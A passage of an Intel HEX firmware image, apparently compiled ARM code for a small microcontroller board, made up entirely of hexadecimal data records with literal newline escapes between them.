n:1078A000CBD1642011F0ADFC079B643F3FB2182B95\n:1078B00000D845E71A0021A91AA810F0B1FD6A46C0\n:1078C0001DAB23CB23C21B6813601A991B9A1C9B08\n:1078D000206810F00CFBE568002D0CD0264912A89A\n:1078E000FFF7B6FA1C231AAA12A9280011F03CF8D7\n:1078F00012A810F00FF9A06810F069FF11A912A8E2\n:10790000A56811F0BEF900221C4B009212A9019348\n:107910002800130000F070FA12A811F0A5F9FA205F\n:10792000800011F06EFCA06810F051FF0A99A06869\n:1079300000F0B6FA11A811F097F910A811F094F917\n:107940006DB0F0BC08BC02B01847002F03D0049BF8\n:107950000F2B00D00EE7A06800F032FA0AE7C0460D\n:10796000918F03008C3C0000D18AFFFFD68F03006B\n:1079700058FDFFFFF68F0300EB8F0300DC050000CE\n:10798000F0B587B001930EAB1B88060003930D9BE7\n:107990000D000093019B02920C9F002B3DD0002F05\n:1079A00002D1009BDB0738D5282011F079FD0400B7\n:1079B000103010F0E8F8029B18202580638011F049\n:1079C0006FFD0500009B08220593019B00210360C9\n:1079D0000C30049711F0FBFD082204A9281D11F0BA\n:1079E000DAFD0F4B02226B6100230399E3602362EF\n:1079F000636233680A43A560A2805B68210030009F\n:107A00009847002807D0200011F0C3F82000282153\n:107A100011F05FFD034807B0F0BD0348FBE7C04627\n:107A20004580020016FCFFFF17FCFFFF30B54260E7\n:107A3000002283600C4B04000160C260186887B0AC\n:107A400090420DD00592C03202926A46074904ABBB\n:107A5000049122CB22C2230003220521FFF790FFCD\n:107A6000200007B030BDC046A82B0020E176010001\n:107A7000F0B5040085B0637A9C46002B04D1200049\n:107A800010F0ECFC05B0F0BDA37A266F0193102333\n:107A9000019AF35600259B1801229A402900F368A9\n:107AA00003920293029BAB4231DDB268019B6A43B1\n:107AB000D21873695200E77A9A1813785078E279ED\n:107AC000012F14D1571E3F1A18003B004243606F2C\n:107AD00052008218D2189379634500DD6346627BB9\n:107AE0001A4202D00123AB4019430135DAE7022FD5\n:107AF00007D0032FEAD1277A013FFF1A030038008D\n:107B0000E4E7571EFB1A277A013F381ADEE71123F4\n:107B1000C943F356606C994023691940039B19438C\n:107B200011F041FCA27B072AACD8637B0C495B00B7\n:107B30006373531CDBB290004158A373022A03D82D\n:107B4000080011F053FB96E7064B20002363002347\n:107B50006363054BE4622364143011F009FA91E782\n:107B6000A0F40200717A01004784020010B50400FD\n:107B7000044B036011F0F4F9200001F059FE2000DD\n:107B800010BDC046F8F7020010B504000E4B0833D4\n:107B90000360FFF74FF92000743011F065F8200002\n:107BA000603011F061F8200058300FF0B3FF200072\n:107BB00050300FF0AFFF2000044B14306361FFF72B\n:107BC000D5FF200010BDC046C0F402000CF8020032\n:107BD000F8B500250400324B8580083303608571B9\n:107BE000143016000F0001F00DFE20002D4BE56251\n:107BF000636125645030FFF73BF920005830FFF7F0\n:107C000037F92000603001F0D5FA20000423F25E3D\n:107C100033682667590009B2743011F043F83368AD\n:107C2000226FE37173680126237210236581A78098\n:107C30002561D35691685918994204DD3000984067\n:107C400001330543F8E711230120D356D1685918B1\n:107C5000994206DD02009A402669013332432261CF\n:107C6000F6E7142011F01CFC226900212A430123AD\n:107C7000060002F029F9FF23220063720133A38179\n:107C8000002348326664A37320001370A366FFF7D5\n:107C9000B3F80123A27920001343A371F8BDC046B5\n:107CA000C0F402000CF80200F0B5437A85B004007D\n:107CB000002B04D1200010F0D1FB05B0F0BD012253\n:107CC000837A11009C461023066F0025F356039219\n:107CD0006344994002912900F3680193019BAB42F0\n:107CE0002CDDB26873696A4362445200E77A9A18DD\n:107CF00013785078E279012F10D1571E3F1A1800DF\n:107D00003B004243606F52008218D2189379002BD7\n:107D100002D0039BAB4019430135DFE7022F07D0A8\n:107D2000032FEED1277A013FFF1A03003800E8E75E\n:107D3000571EFB1A277A013F381AE2E71123C9437D\n:107D4000F356606C994023691940029B194311F066\n:107D50002AFB667AB31EDBB2FC2B14D8FEF7FAFFBF\n:107D60000B4B0500236300230A4863630A4BFF2182\n:107D7000E4622364704302F019FE290041432000AD\n:107D8000143011F0F5F8637A012B00D995E791E7EB\n:107D90005D840200B6030000478402001FB5012382\n:107DA00081881A0068460FF0F8FE012303491A0083\n:107DB00068460FF0F2FE05B000BDC046FE030000AD\n:107DC0001FB5030048331A780400002A0DD00022A2\n:107DD0001A70012381881A0068460FF0DEFE012325\n:107DE00004491A0068460FF0D8FE2000743010F0E5\n:107DF00050FF1FBDFF03000073B5079C0500002C5A\n:107E00001CDB060048363078002802D03078012884\n:107E100016D106981BB2C0B20090280012B274307E\n:107E200010F047FF002C07D02B004A331C800024A1\n:107E300007234C352C803370200076BD014CFBE7C6\n:107E4000014CF9E717FCFFFF12FCFFFFF8B5040037\n:107E5000171E1DDD060048363378002B02D033781C\n:107E6000012B17D12200E3795632013B1370230016\n:107E70000025200054331D8050300FF068FE230091\n:107E80004A331F80022328004C3425803370F8BD0C\n:107E90000148FCE70148FAE717FCFFFF12FCFFFF6F\n:107EA000FF2902D84172002070470148FCE7C04614\n:107EB00017FCFFFF13B5040004A800780090200011\n:107EC00010F0B8FF002801D1207516BD0048FCE76E\n:107ED0000EFCFFFF13B5040004A8007800902000FA\n:107EE00010F090FF002801D1207516BD0048FCE776\n:107EF0000EFCFFFF7FB50D0011000F226A44040045\n:107F00001E1E117015D0089B002B12DD01232900C5\n:107F10000093FFF7DFFF002808D10090089B320094\n:107F200029002000FFF7C6FF002800D0024804B057\n:107F300070BD0248FBE7C0460EFCFFFF17FCFFFFC9\n:107F400010B5040086B0006C01F070FD217BA0220A\n:107F50008B00185100200C4BD20098500B4A143063\n:107F60009850636C68465B7CC91849B210F080FC7D\n:107F7000039B019A03211A60207B0130C0B202F0FA\n:107F800011FD217306B010BD007000400405000013\n:107F900082B070B50400002588B00C920D93636C1C\n:107FA0009A68AA420ADD197C02A8491949B210F060\n:107FB0005FFC069B039A01351A60F0E75D7C237B2A\n:107FC00002A8ED186DB2290010F052FC039A059B2F\n:107FD00001921A600021182202A811F0F8FA02A8F2\n:107FE0000022290011F060F8206C002802D008213E\n:107FF00011F06FFA082011F053FA2900060001F081\n:10800000EFFC094B2000E3620023FA212363074BB6\n:108010002664A462E3631030090110F0A9FF08B0E0\n:1080200070BC08BC02B01847417F01001B880200E9\n:1080300010B5A9244268036880689B180A4A1B1877\n:1080400064002000934207DC0838FF38E32B03DD8F\n:108050000321180002F0AAFC201A0821FF24FF3196\n:10806000604302F0A3FC10BDF5030000F0B504006E\n:108070000E00150085B01F000CAB1B88103001935B\n:108080000FF081FD26806580182011F009FA02AEFC\n:10809000050033000AAA03CA03C32F60280008277B\n:1080A00000213A000C3011F092FA3A003100281DFC\n:1080B00011F071FA064B02226B6120000023019936\n:1080C000A5600A43E360A2802362636205B0F0BD4D\n:1080D0003188020070B5040086B010300D0001F048\n:1080E00091FB0023194AA3622261194AE3631668CF\n:1080F0006564237323606360A3609E4220D0154AA9\n:1081000028200492059311F0CBF9C02305006A469C\n:10811000029304AB03CB03C22300062102222800F2\n:10812000FFF7A4FF336829005B68300098470028F8\n:1081300006D0280010F02DFD2821280011F0C9F9E3\n:1081400000232000236406B070BDC0460CF8020076\n:10815000A82B0020917F010030B500240373012378\n:10816000034D84710560818082734373846030BDE8\n:1081700030F4020070B583790400DB0703D51821C1\n:10818000806811F0A6F9A3799B0703D51821A06890\n:1081900011F09FF9A3795B0708D5A0230021164AA7\n:1081A000DB00D150A068083111F093F90826A379BB\n:1081B000334209D0A568002D06D0280010F009FE32\n:1081C0003100280011F085F9A379DB0605D5A068F8\n:1081D000002802D00368DB6898476023A2791A421E\n:1081E00005D0A068002802D003685B689847002388\n:1081F000A360A37170BDC04600700040F7B50126B2\n:10820000037B040033422AD0612385791D4017D1B6\n:10821000FFF7B0FF182011F043F90E230700E356D3\n:1082200018220093637B2900019311F0D0F9019A81\n:108230000099380010F038FFA379A7603343A37189\n:108240006023A279A0681A4202D010F00BFEFEBD96\n:10825000436940681B681840431E9841F7E701488E\n:10826000F5E7C04616FCFFFF10B501248379417382\n:108270001C4004D0806810F0CBFF002010BD6022AD\n:10828000134203D0806810F0F4FDF6E70048F5E7EC\n:1082900016FCFFFF10B5002903DB024B196010F03C\n:1082A0001BFE10BDB82B002070B504001E0004ABEF\n:1082B0001D7801F071FA20000E4B40302360FEF76C\n:1082C000D7FD230001364C33013522001E701D738B\n:1082D0000023E1214E32A3646365138053809381B0\n:1082E000D381013B200063644902FFF7D3FF2000E4\n:1082F00070BDC04670EF0200F7B580277F053D696D\n:108300007C690822113C6C4306002100684611F08C\n:1083100042F9104B009A9A4219D00093002301931E\n:10832000796930001339694310F0AFFA019A009966\n:10833000300010F0C2FA2100300010F0A6FA79697E\n:10834000AB08133969432200300010F0A8FA0198F5\n:10835000FEBDC046FECA0000F0B50D00ABB00D92E8\n:1083600000213022060012A80B9311F030F92800EA\n:1083700011F081F9431C0C93102B00D9B8E00B9B32\n:10838000202B00D9B4E02900300010F0BDFA071E00\n:1083900056D129000C9A12A811F0FDF80D990B9AEC\n:1083A00016A811F0F8F880235B051F695A693000A0\n:1083B000113A7A435D690D92FFF79EFF0D9B3022C3\n:1083C0000833002104001EA80F9311F000F92900C2\n:1083D00013397943300010F058FA0F9B0B930023A8\n:1083E0000C930E930C9BA3424ADA0B9930221EA8E1\n:1083F00011F0D1F812A91EA811F033F900282ED1DE\n:108400003D49300022001091119410F056FA6A464E\n:108410000B9B099315AB23CB23C223CB23C223CBC6\n:1084200023C23000149B1299139A10F054FA0123BE\n:108430000E930B9B30330B930C9B01330C93D1E7C2\n:108440000D9910300B9A11F098F830210400380083\n:1084500011F03FF8002C9CD120002BB0F0BD6A46F3\n:108460000B9B099321AB23CB23C223CB23C223CB6A\n:1084700023C230001E991F9A209B10F02CFAD8E7D7\n:10848000E5433021ED1725404D430F9B5D190E9BB1\n:10849000002B1BD1B81E02F0FFF9A0422AD01649CA\n:1084A0000134300022001091119410F006FA6A464F\n:1084B000099515AB23CB23C223CB23C223CB23C2E5\n:1084C00030001299139A149B10F005FA0D993000A0\n:1084D00010F0DBF980235B0559690C2363431339E2\n:1084E000023379430D9A300010F0D9F90024B3E734\n:1084F000024CB1E7024CAFE7FECA000017FCFFFFD9\n:1085000013FCFFFF022802D10122014B1A707047B1\n:108510004C2E002070B5064C05002378002B04D1AA\n:10852000044801F01FF801232370280070BDC046E5\n:108530004D2E00200585010070B50C000FF0E5FA06\n:10854000002810D00023144DA40A2B70200010F036\n:1085500013FA002803D00A2010F053FEF6E72B7818\n:10856000002BFCD070BD02210C4B0D4A995080218C\n:10857000C90008005D58002DFCD0A121C9005C5045\n:1085800019580029FCD0002199508021C9005A585F\n:10859000002AFCD0E6E7C0464C2E002000E0014057\n:1085A00004050000F8B50C0015001E000FF0ADFA30\n:1085B000002811D00023174F3B7032002900200003\n:1085C00010F0D8F9002803D00A2010F01AFEF4E7C2\n:1085D0003B78002BFCD0F8BD01210F480F4B84469F\n:1085E00019508021C9005A58002AFCD08027002247\n:1085F000FF00964207DD910068586050D959002964\n:10860000FCD00132F5E7002261465A50DA59002ABF\n:10861000FCD0E0E74C2E00200405000000E0014003\n:1086200008B4024B9C46443808BC60477D89020070\n:10863000FA21F8B50389C90004005943324810F003\n:10864000B8FAFA21890002F027F9304F2081A17A87\n:10865000380010F0AEFA23002600250022894C33A2\n:10866000A072A0361A808C35317800232A2228681F\n:1086700010F0BAF8002844D131781F235B22286813\n:1086800010F0B2F800283CD1317820235C22286811\n:1086900010F0AAF8002834D1317801232C22286860\n:1086A00010F0A2F800282CD1317801232D2228685F\n:1086B00010F09AF8002824D1317801232E2228685E\n:1086C00010F092F800281CD1A17A380010F06CFA52\n:1086D0003178C3B20E22286810F086F8002810D135\n:1086E000FA21238989005943074810F05DFA0123D4\n:1086F0000343DBB231782A22286810F075F800288D\n:1087000000D00348F8BDC046E0F40200D8F40200EF\n:108710000EFCFFFF08B4024B9C46443808BC60477F\n:1087200031860100074B10B51A00040008323C33B3\n:108730000260436444300FF095FB20000FF0AAFA6A\n:10874000200010BD40F5020008B4024B9C4644389E\n:1087500008BC60472587010008B4024B9C4644389A\n:1087600008BC604787890200F0B50425837989B089\n:1087700004002B4204D100F0C9FBA3791D43A5716D\n:1087800020009030FFF73AFD0025A8420FD12300CA\n:10879000A033197820000C2305AE00938C303300F1\n:1087A00001220068FFF7A6FB051E03D0204D28001C\n:1087B00009B0F0BDB1883088CABA0A219446F2885F\n:1087C0007388D2BA02923789728902AE89191F263C\n:1087D00052BA0A80A17ADBBA5B424B4312B2C0BAEA\n:1087E00003924843DA173240D3185B11A361C317D1\n:1087F0003340181863464B43D9173140C9186423D6\n:10880000029A49115B42FFBA21625F430399C83360\n:108810005A434B43E2674011221DE061A7672000E5\n:10882000D3670FF0B1FA200044300FF023FBBEE70E\n:108830000EFCFFFF08B4024B9C46443808BC60475E\n:1088400069870100F7B51E00040008AB1B881500FE\n:10885000019309AB00911A8831000AAB1F88FEF71B\n:1088600065FB20003A0031004430FEF779FD134BE0\n:1088700020001A003C336364230008322260009A0F\n:108880008C331A60AB8890308380AB79AA6883718F\n:108890000B4BA98903600E23EB56826022009C32A9\n:1088A000118083732300019AA0331A800321FFF7FC\n:1088B000DBFC2000FFF7BCFE2000FEBD40F50200FF\n:1088C00030F40200F8B5FA260189B60004007143BD\n:1088D000254810F06EF9310001F0DEFF234F2081B2\n:1088E000A17A380010F065F92500A0725835297872\n:1088F00000232A22606C0FF077FF002832D12978FC\n:1089000010232B22606C0FF06FFF00282AD12978EA\n:1089100001232D22606C0FF067FF002822D12978F7\n:1089200001232E22606C0FF05FFF00281AD1A17A7C\n:10893000380010F039F92978C3B20E22606C0FF0BC\n:1089400053FF00280ED121890748714310F02CF9FC\n:1089500001230343DBB229782A22606C0FF044FF25\n:10896000002800D00248F8BDA8F50200A0F50200DA\n:108970000EFCFFFF10B50400034B083303600FF03B\n:1089800089F9200010BDC04608F602007FB5042515\n:10899000837904002B4204D100F0B8FAA3791D4377\n:1089A000A57120004830FFF729FC0025A8420DD111\n:1089B000230058331978062302AE009301223300B6\n:1089C000606CFFF797FA051E03D00D4D280004B028\n:1089D00070BD022200210420B256A37A305671568F\n:1089E000D20052425A4359434343DB002362236877\n:1089F000C900A261E1619B6A20009847E6E7C04692\n:108A00000EFCFFFFF8B50400150006AA168807AA99\n:108A10000F0012881900FEF789FA0F4B67640833BC\n:108A200023602300AA8848339A80AA79A9689A719A\n:108A30000A4AA889A2640E22AA562165210054314F\n:108A400008809A730023A371230058331E802000EE\n:108A5000FFF738FF2000F8BD08F6020030F40200EE\n:108A600010B50400034B083303600FF0FBF920003E\n:108A700010BDC0469CF60200F0B507005C3787B019\n:108A80000400397800231022806C0FF0ADFE00281E\n:108A90003BD103260F2502ABED18012339780822BC\n:108AA0000093A06C2B00FFF725FA194B98422CD0AD\n:108AB0002B78334203D0642000F0B6FAEAE7FA26B6\n:108AC0002189144DB6007143280010F072F831006E\n:108AD00001F0E2FE20813978A0231122A06C0FF072\n:108AE00083FE002811D1A36C2189039371432800D0\n:108AF0003F7810F059F801231843C3B2102239000F\n:108B000003980FF071FE002800D0014807B0F0BDB7\n:108B10000EFCFFFF3CF6020070B50825837986B095\n:108B200004002B4204D100F0F1F9A3791D43A57193\n:108B300020004C30FFF762FB051E0DD023005C3394\n:108B40001978062304AE009301223300A06CFFF7CE\n:108B5000D1F9051E03D00E4D280006B070BD642368\n:108B6000642132884942D2BA53437288A363D2BA8D\n:108B70004A4362630E22B3886A445BBA13801BB215\n:108B80004B43E363236820001B6A9847E4E7C04631\n:108B90000EFCFFFFF8B50400150006AA168807AA08\n:108BA0000F0012881900FEF7DBFB0D4BA76408339A\n:108BB00023602300AA884C339A80AA79A9689A7105\n:108BC000084AA889E2640E22AA566165210058313C\n:108BD00008801E829A732000FFF74EFF2000F8BD28\n:108BE0009CF6020030F40200F7B5FA250189204F07\n:108BF000AD000400694338000FF0DBFF290001F0ED\n:108C00004BFEA17A20811B480FF0D3FF2600636C36\n:108C1000A072009321895836337869433800019354\n:108C20000FF0C2FF07230343DBB220220199009813\n:108C30000FF0DAFD002818D1317810232222606C61\n:108C40000FF0D2FD002810D1A17A0A48656C377860\n:108C50000FF0AAFF80235B420343DBB223223900DB\n:108C600028000FF0C1FD002800D00348FEBDC0461B\n:108C7000D0F60200C8F602000EFCFFFF10B504009B\n:108C8000034B083303600FF005F8200010BDC04609\n:108C900040F70200F0B50425837985B004002B422B\n:108CA00004D100F033F9A3791D43A57120004830A9\n:108CB000FFF7A4FA061E0DD02300583319780623B7\n:108CC00002AD0093A8222B00606CFFF713F9061E7B\n:108CD00003D0144E300005B0F0BD1F200023EA5E23\n:108CE000D31703409B180222A95E5B11CA170240EA\n:108CF000521804216F5E5211F9170140C919491128\n:108D00002B806A80A980A07A5B424343524242434F\n:108D10004143E3612368A26121629B6A2000984776\n:108D2000D8E7C0460EFCFFFFF8B50400150006AA00\n:108D3000168807AA0F0012881900FEF7F7F80F4BE4\n:108D40006764083323602300AA8848339A80AA798D\n:108D5000A9689A710A4AA889A2640E22AA562165B6\n:108D60002100543108809A730023A37123005833E3\n:108D70001E802000FFF738FF2000F8BD40F70200FA\n:108D800030F40200F7B5FA2504000189134EAD0056\n:108D9000694330000FF00DFF290001F07DFD270031\n:108DA000A36C208100935C373B7881B2694330002B\n:108DB00001930FF0F9FE6022C3B2019900980FF001\n:108DC00013FD002807D1397801236222A06C0FF02F\n:108DD0000BFD002800D00248FEBDC04674F702001B\n:108DE0000EFCFFFF10B50400034B083303600FF0C7\n:108DF00039F8200010BDC0469CF702007FB5082559\n:108E0000837904002B4204D100F080F8A3791D433C\n:108E1000A57120004C30FFF7F1F9051E0DD023009D\n:108E20005C331978062302AE0093E8223300A06C6D\n:108E3000FFF760F8051E03D00B4D280004B070BD8D\n:108E40000223F25E96235B425A4362630021725E04\n:108E500020005343A3630423F25E96235343E3634A\n:108E600023681B6A9847E8E70EFCFFFFF8B504008B\n:108E7000150006AA168807AA0F0012881900FEF727\n:108E80006FFA0D4BA764083323602300AA884C3384\n:108E90009A80AA79A9689A71084AA889E2640E2280\n:108EA000AA5661652100583108801E829A732000FD\n:108EB000FFF768FF2000F8BD9CF7020030F40200C5\n:108EC00010B572B60B4B1C68002C08D020000FF0B8\n:108ED000DFFD0023E364084B2000E36310BD62B6AE\n:108EE0005C2010F0DDFA5C220021040010F06FFB22\n:108EF000EFE7C046E02B002000400020024B18782E\n:108F0000012318407047C0464E2E0020002310B5A4\n:108F100004499C006258002A01D00133F9E76050EF\n:108F2000100010BDC42B002010B50024084BA20077\n:108F3000D058002802D003685B6898470134062C9B\n:108F4000F4D1044B1B68002B00D120BF10BDC046DC\n:108F5000C42B0020DC2B0020F8B5FFF7CFFF002842\n:108F60001CD02B4D2C68E36CDA0718D502273B4345\n:108F7000E364284B1E680423F26C30001343F3644F\n:108F8000636BF3630FF09BFD3000716C00F099FA96\n:108F90002868C36C3B4201D000F0CDFAF8BD1E4FEB\n:108FA0001E4E3A683068002A0AD128601B0712D585\n:108FB0002C60FFF7B9FF3B68002BFAD02B600AE06A\n:108FC000216DB94219D1616D002900D111002960CC\n:108FD0002A688242EAD029688C42DFD033689942FD\n:108FE0000DD10F4B4B630F4B8B6320000FF067FDD0\n:108FF0002968626C4B6C200006E02A60E8E79C421E\n:10900000F3D1002210004B6C00F01AFAC6E7C046FC\n:10901000E82B0020C02B0020DC2B0020E42B0020BC\n:10902000FC3F0020F18A020070B50500FFF766FFE3\n:10903000002803D1280010F0E4F870BD0C4B1C6828\n:10904000E36CDB0706D5FFF73BFF0A4B18600028EF\n:1090500000D00400FDF7B8FE2D18A56420000FF025\n:1090600017FD054920000FF001FDFFF775FFE4E74C\n:10907000E82B0020C02B0020BC2B002070B5114E27\n:109080003278022A1AD081421AD90C1A072C17D921\n:109090000D00032305432B4012D172B60A4DD200B6\n:1090A0005051AA1851608022A4081206144304608B\n:1090B00032780132327062B6180070BD0348FCE7A6\n:1090C0000348FAE7502E0020EC2B002013FCFFFF92\n:1090D00017FCFFFF70B5134C06002378124D002BD0\n:1090E0000CD1124912482B70FFF7C8FF114B984260\n:1090F00002D11E20FDF7D6FC0123237000242B781B\n:10910000A34209DD0C49E300C91830000FF0F6FC5A\n:10911000002805D10134F2E71420FDF7C3FC00203C\n:1091200070BDC0464F2E0020502E00200038002079\n:10913000F82F002017FCFFFFEC2B002010B50028B3\n:1091400017D000220F4B19780F4B914215DD1C6888\n:1091500084420FD25C6884420CD9041F2368002B20\n:1091600002DC1E20FDF79EFC802322681B061343B1\n:10917000236010BD01320833E7E71E20FDF792FCA3\n:10918000F7E7C046502E0020EC2B00200268084B69\n:10919000406810B5C018C000101803009A4205D8E6\n:1091A0001C688C4202D31800083BF7E710BDC0468C\n:1091B000FFFFFF1F014B03607047C046C8F7020066\n:1091C00030B500684488A1420CDA8588AA4209DAE1\n:1091D000002907DB002A05DB54434018001983717E\n:1091E000002030BD0048FCE717FCFFFFF0B507008A\n:1091F00085B00E001D00002921DD002A1FDD002B97\n:109200001DD00468638803938B4200DD0391A3881B\n:109210000293934200DD0292002306340193019BE6\n:10922000029A93420ED029002000039A10F0B3F95D\n:109230003B68AD195B88E418019B0133EEE70248F7\n:1092400005B0F0BD0020FBE717FCFFFFF8B50400F8\n:109250000D0016001F00002901DB002A02DA0E4B68\n:109260002360F8BD100048430630FFF733FF20604D\n:109270000EF0CEFC23685D8023689E80002F06D010\n:109280003B00320029002000FFF7B0FFE9E7200093\n:109290000FF0FFFCE5E7C046C8F70200F7B506008F\n:1092A0000D1E03D1234B03603000FEBD00200F00D4\n:1092B0000400010001903B78002B1AD0302252426A\n:1092C00094469C446246092A11D90A2B0AD1019B73\n:1092D000241801330193A14200DA21000020040088\n:1092E0000137E8E70028FBD001340020F8E701202F\n:1092F000F6E7019A300012B209B2FFF7A7FF336810\n:109300000A249A1D01235B42180029780029CBD03A\n:109310000F00303F092F07D85F1C00D100236343A3\n:109320005B18303B0135F0E7591CFBD0137001325C\n:109330000300F7E7C8F70200F0B5040087B004A8FF\n:1093400015001E000F00FDF7A5FC23685A88954202\n:1093500035DA9B889E4232DA1F2F30D9059B019364\n:109360009F422CDC0521203F4F430499721DCB19ED\n:109370000193330003920020019A1278029222682E\n:109380002F185688BE420DDD91888B420ADAD21919\n:10939000102707415E43029992190F407E1EB74184\n:1093A0007F42977101300528E9D1019A01330132DA\n:1093B0000192039A9342DED1002007B0F0BD01482C\n:1093C000FBE7C04617FCFFFFF7B5036807009D1DCC\n:1093D0005B880E005A1A0192002919DD0024994277\n:1093E00003DB0FF056FC002013E03B689B889C4297\n:1093F000F9DAA919019A280010F0CDF8019B310083\n:10940000E8180FF038FC3B6801345B88ED18ECE796\n:109410000048FEBD17FCFFFF10B50548054C206055\n:109420000EF0F9FB044A0549200010F04BF810BD7E\n:10943000C8F70200FC2B002000000020698C02000D\n:10944000002815D0006041608260C36004614561FE\n:109450008661C761444604624C4644625446846255\n:109460005C46C462644604636E4646637446846325\n:10947000002A06D0C46B043C043A25681560B44247\n:10948000F9D18C6BA6464E6BB546002B06D0CC6B43\n:10949000043C043B1D682560B442F9D10C6BA44622\n:1094A000CC6AA3468C6AA2464C6AA1460C6AA046C6\n:1094B000CF698E694D690C69CB688A68086849680C\n:1094C0007047006041608260C360046145618661ED\n:1094D000C761444604624C464462544684625C461A\n:1094E000C462644604636E46466374468463C46B18\n:1094F000043C043925680D60B442F9D1C769866916\n:10950000456904697047006041608260C36004611E\n:1095100045618661C761444604624C4644625446D4\n:1095200084625C46C462644604636C464463744669\n:10953000846304697047846BA646446BA546046B3C\n:10954000A446C46AA346846AA246446AA146046A41\n:10955000A046C769866945690469C368826800686E\n:1095600041687047014B18607047C046002C0020CE\n:1095700080B2002807D1BFF34F8F034B034ADA6054\n:10958000BFF34F8FFEE7704700ED00E00400FA05DF\n:109590000120054B10B51A7850401870034B1B681A\n:1095A000002B00D0984710BD512E0020042C002025\n:1095B000F0B5224B85B01D78EDB2002D3CD0204E89\n:1095C000204F33685C425C413A68E4B2002A2DD0F7\n:1095D00003A80FF004FC05282CD000281AD0002284\n:1095E0001100FFF7C5FF002CF2D1174B03A91B8810\n:1095F0000B80164B1B68180001930FF0F2FB052837\n:1096000010D000280AD000221100FFF7B1FF002C73\n:10961000EBD1DDE703983B689847E4E701983368AE\n:109620009847F4E7002C07D12C00D1E7002B03D09A\n:109630002C00DAE7002CFBD005B0F0BD522E002044\n:10964000082C0020102C0020CC2D0020142C0020F1\n:10965000074B10B51B68002B07D09847002803D094\n:1096600000221100FFF784FF10BDFFF7A1FFFBE709\n:109670000C2C002002210C4B0C4A30B59950802153\n:10968000C9000C005D58002DFCD0A121C900585024\n:1096900019590029FCD0002199508021C9005A583D\n:1096A000002AFCD030BDC04600E0014004050000A7\n:1096B000032370B5040098409C4315331840E733EA\n:1096C00083408140012022689A438918074B084A49\n:1096D00098508020C00005001E58002EFCD021604C\n:1096E00059590029FCD00021995070BD00E001407B\n:1096F0000405000070B5012580260D4B0D4CF600C9\n:109700001D519D59002DFCD0802592001218ED00AE\n:10971000091A904205D100221A515A59002AFCD048\n:1097200070BD0E5806605E59002EFCD00430F0E784\n:1097300000E001400405000070B504000D001600B3\n:10974000002110220FF043FF054B32002361290056\n:10975000200000F011FB034B20001C6070BDC046D0\n:10976000A0860100182C002010B50400016100F053\n:10977000BDFA014B1C6010BD182C002070B5054DC2\n:1097800004002B68834203D0016900F0AFFA2C601B\n:1097900070BDC046182C002010B5040000F006F87B\n:1097A000014B2000236010BDD8F702000C4B70B5B0\n:1097B0000360002343608360C3600362436283638A\n:1097C000962304009B01051DC363280000F010FCD4\n:1097D00028002200034900F0A7FC200070BDC0460D\n:1097E000E8F702009F8E020010B50400044B0360EE\n:1097F0000FF0B6FB200000F01BF8200010BDC046A3\n:10980000F8F70200084B10B50833036000234360EB\n:109810008360C360040000F0B3F8044920610FF0D6\n:109820007DFC200010BDC04618F802002790020001\n:1098300010B50400034B083303600FF001FC200057\n:1098400010BDC04618F80200054B10B51B68002B70\n:1098500004D119221821034800F0CAFB10BDC046EC\n:10986000B42D0020DC2F0020030010B50020022BB7\n:109870000ADD0021064A033B9B0098589950884214\n:1098800003D003685B68984710BD01204042FBE7A6\n:109890001C2C002070B50C001500022810DC0F4BAA\n:1098A0001B68002B01D1FFF7CFFF6619B44205D02A\n:1098B00021780B4800F08AFC0134F7E7280070BDDE\n:1098C0000338084B8000C058002803D003681B6889\n:1098D0009847F4E701204042F1E7C046B42D00204C\n:1098E000DC2F00201C2C002010B50C0002280BDC03\n:1098F0000C4B1B68002B01D1FFF7A6FF0A480FF0A5\n:1099000062FD2070012010BD0338084B8000C05854\n:10991000002803D003689B689847F4E70120404281\n:10992000F1E7C046B42D0020DC2F00201C2C0020C5\n:10993000030010B50120022B08DD033B054A9B0004\n:109940009858002803D00368DB68984710BD0120B1\n:109950004042FBE71C2C0020030010B50020022B26\n:1099600008DD033B05489B001858002803D0036816\n:109970001B69984710BD01204042FBE71C2C0020CA\n:10998000004870472CF8020010B502480FF0CFFBDA\n:1099900010BDC0462CF802000848026803210A43A3\n:1099A00002600749074A084B9B1A03DD043BC8586D\n:1099B000D050FBDC0548804705480047240500409F\n:1099C000D89003000000002018010020A5A7010086\n:1099D00009010000FEE7FEE7FEE7FEE7FEE7FEE71F\n:1099E00070B50E000E4C05002100300000F0CAFEDC\n:1099F00028600023E3565A1C01D1002302E0B34241\n:109A00000CD1A368A02201200649D2002B718850F6\n:109A10006A221B021343044A8B5070BD0C34E8E7E2\n:109A200048F8020000700040040500000B4B0C4990\n:109A300010B55A580B4C22405A5002795C58120209\n:109A400022435A5080200122C0001A601958114246\n:109A5000FCD1A122D200985880B210BD0070004005\n:109A600004050000FF00FFFF01704B1C0AD001231A\n:109A70008B404360044BC360044B0361044B436160\n:109A8000044B83607047C046080500500C05005029\n:109A90001005005014050050F7B5A223A022DB00EA\n:109AA000D205D358BE220193314B52009958002958\n:109AB0003FD0C1218900595800293ADA0024E02515\n:109AC000C0269C50ED00B6022A4BA700F85800288B\n:109AD0002CD0294BE35C002B17D0019B0121E340E4\n:109AE0000B4227D02300A022C133FF339B00D205B5\n:109AF0009B589B039B0F032B1CD0204B1B68E34000\n:109B00000B4217D01E4B1B689847A023DB05FF189C\n:109B10007A5932420AD07A591A490A407A51019A3E\n:109B2000E240D3071FD57A5932437A5101341F2CB2\n:109B3000CAD1F7BD019B0122E3401342E5D12300C6\n:109B4000A021C133FF339B00C9055B589B039B0FCA\n:109B5000032BDAD10C4B1B68E3401342D5D0084BE2\n:109B600002211B68D0E78022795992020A43DCE780\n:109B700000600040242D0020532E0020A82D00203E\n:109B8000A02D0020FFFFFCFFA42D002030B5040015\n:109B900008004D1C1CD00F4821600260BE2200202E\n:109BA0000D4C5200A0500D4A8D00AB5001220C4BC1\n:109BB0005A54C122802392001B06A350094B0A4C21\n:109BC00099580C40C02109042143995040221A6041\n:109BD00030BDC046A02D002000600040242D002094\n:109BE000532E002000E100E0FFFF00FF9446A0227A\n:109BF000F0B50468E020D205A300C0009B181A58F5\n:109C00001E4D1F4E2A401A5060461E4D32682F6866\n:109C1000002822D0012919D1A140114331603168B7\n:109C20002A6801200A43E24002420ED0A021A2226B\n:109C3000C905D2008958F132E140FF32014219D002\n:109C4000C0219858890201439950F0BD0229E6D1FC\n:109C50000120A04038432860E1E7012903D1A14059\n:109C60008A433260DBE70229D9D10120A040874333\n:109C70002F60D4E798588021E4E7C046FFFFFCFF3F\n:109C8000A82D0020A42D00200368074A9950074AF8\n:109C9000FC33196A002902D0002018627047013A8B\n:109CA000002AF6D10120F9E71C050000A186010079\n:109CB00010B50368002A03D08022